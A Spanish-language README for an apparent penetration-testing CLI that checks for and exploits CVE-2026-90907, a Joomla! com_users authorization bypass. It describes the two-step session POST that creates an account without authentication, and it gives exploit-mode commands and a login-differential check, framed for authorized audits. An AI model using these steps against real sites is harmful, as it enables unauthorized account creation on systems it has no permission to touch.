
CLI de Python que detecta y explota CVE-2026-90907, un bypass de autorización en Joomla! com_users que permite la creación de cuentas sin autenticación; modo de comprobación no destructivo más PoC.
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS. Ejecutar el modo de explotación contra sistemas que no son de su propiedad o para los que no cuenta con permiso escrito explícito para probar es ilegal. El modo predeterminado (
CHECK) no es destructivo y no crea nada.
Herramienta CLI que detecta y (opcionalmente, con -U) explota
CVE-2026-90907, una
omisión de autorización de severidad media (CVSS 6.9) en el núcleo de Joomla! CMS
que permite a un atacante remoto no autenticado desencadenar la creación no autorizada
de cuentas de usuario a través del controlador com_users → profile.save —
incluso cuando el registro público está deshabilitado en la Configuración Global.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-90907 |
| Severidad | Media — CVSS 6.9 |
| Tipo | Omisión de autorización / control de acceso inadecuado (CWE-862) |
| Componente | Componente com_users, tarea profile.save |
| Vector de ataque | Remoto, no autenticado, POST de dos pasos en la misma sesión |
| Corregido en | Joomla! 5.4.9 y 6.1.4 (versión de seguridad, 2026-09-29) |
Según el boletín de seguridad de Joomla! (2026-09-29) y las fuentes de avisos públicos:
Joomla! 3.x también está afectado pero se encuentra al final de su vida útil (End-of-Life): no recibirá un parche oficial — planifique una migración. La comprobación del banner de versión de la herramienta es informativa; el veredicto es conductual (véase más abajo).
La cuenta controlada por el atacante es una cuenta de front-end con bajos privilegios y sin acceso administrativo ni al backend. Sin embargo, esto permite a un atacante:
ProfileModel::save() solo hace unset() de $data['username'] cuando el nombre de usuario
se considera conforme. isUsernameCompliant se deriva del estado de usuario
com_users.edit.profile.data, que el controlador rellena con la
solicitud completa cuando falla la validación del formulario. El controlador tampoco
verifica el estado de inicio de sesión de la solicitud entrante. Por lo tanto, dentro de una
sesión de invitado:
privacyconsent → la validación falla → el nombre de usuario sucio se persiste en
el estado de usuario de la sesión (todavía no se crea nada).jform[privacyconsent][privacy]=1 → se omite la protección unset() →
INSERT INTO #__users → redirección 303 con user_id > 0.user.login (el nombre del campo es
password, no passwd) con la contraseña correcta frente a una incorrecta y
leer el mensaje flash: correcta → "you cannot access the private section"
(autenticación OK, ACL bloquea) / incorrecta → "do not match". El diferencial
es la evidencia.git clone https://github.com/aorozco-sys/CVE-2026-90907.git
cd CVE-2026-90907
pip install -r requirements.txt # only dependency: requests
# CHECK mode (default) — non-destructive: never sends consent, never creates an account
python3 joomla_cve_2026_90907.py https://ejemplo.com
# Verbose CHECK (full request/response log on stderr)
python3 joomla_cve_2026_90907.py https://ejemplo.com --no-color -v
# EXPLOIT mode (-U) — creates a real account in #__users (authorized targets only!)
python3 joomla_cve_2026_90907.py https://ejemplo.com \
-U audit.user -E [email protected] -N "CVE Audit"
# Through a proxy (e.g. Burp Suite) with a custom timeout
python3 joomla_cve_2026_90907.py https://ejemplo.com -U audit.user \
--proxy http://127.0.0.1:8080 --timeout 30
# Exploit without the differential login verification
python3 joomla_cve_2026_90907.py https://ejemplo.com -U audit.user \
--no-verify-login
| Flag | Descripción |
|---|---|
TARGET | URL base (normalizada; sin barra final) |
-U/--username | Habilita el modo EXPLOIT. Sin -U → CHECK no destructivo |
-P/--password | Predeterminado: generado con secrets, 16 caracteres alfanuméricos+símbolos, siempre se imprime |
-E/--email | Predeterminado: <username>@example.invalid |
-N/--name | Predeterminado: CVE Audit |
-o/--output | Directorio de evidencias (predeterminado evidence_cve90907_<ts> bajo el cwd) |
--proxy URL | Proxy para las peticiones (Burp: http://127.0.0.1:8080) |
--timeout | Predeterminado 20 s |
--ua | User-Agent (predeterminado cve-2026-90907-audit/1.0) |
--no-verify-login | Omite el diferencial de login (modo exploit) |
--verify-ssl | Verifica TLS (predeterminado: no verificar) |
--no-color | Sin colores ANSI |
-v/--verbose | Registro completo de req/resp en stderr |
| Código | Significado |
|---|---|
0 | Ok / no vulnerable / desconocido |
1 | Vulnerable (LIKELY en check, CONFIRMED en exploit) |
2 | Error operativo (red, dependencia, etc.) |
profile en Location, sin redirección al login) + flash de
error de validación (p. ej. mensaje de política de privacidad requerida).
La confirmación definitiva = modo exploit.summary.json.Location con user_id > 0 tras W2.Cada ejecución escribe un directorio -o con marca de tiempo que contiene 00_token.txt,
01_version.txt, 02_w1_seed.txt, 03_w2_exploit.txt,
04_login_correct.txt, 05_login_wrong.txt y summary.json. Cada archivo
registra la REQUEST completa (método/URL/cabeceras clave/cuerpo), la RESPONSE (estado,
Location, Server, flash extraído, primeros 500 bytes del cuerpo) y marcas de tiempo
ISO — listo para adjuntar a un informe de pentest.
privacyconsent y usa un nombre de usuario
no conforme (probe()): el guardado falla por las reglas del formulario y nada se persiste.user_id > 0 (no debería), el modo
exploit aborta antes de W2.user_usergroup_map).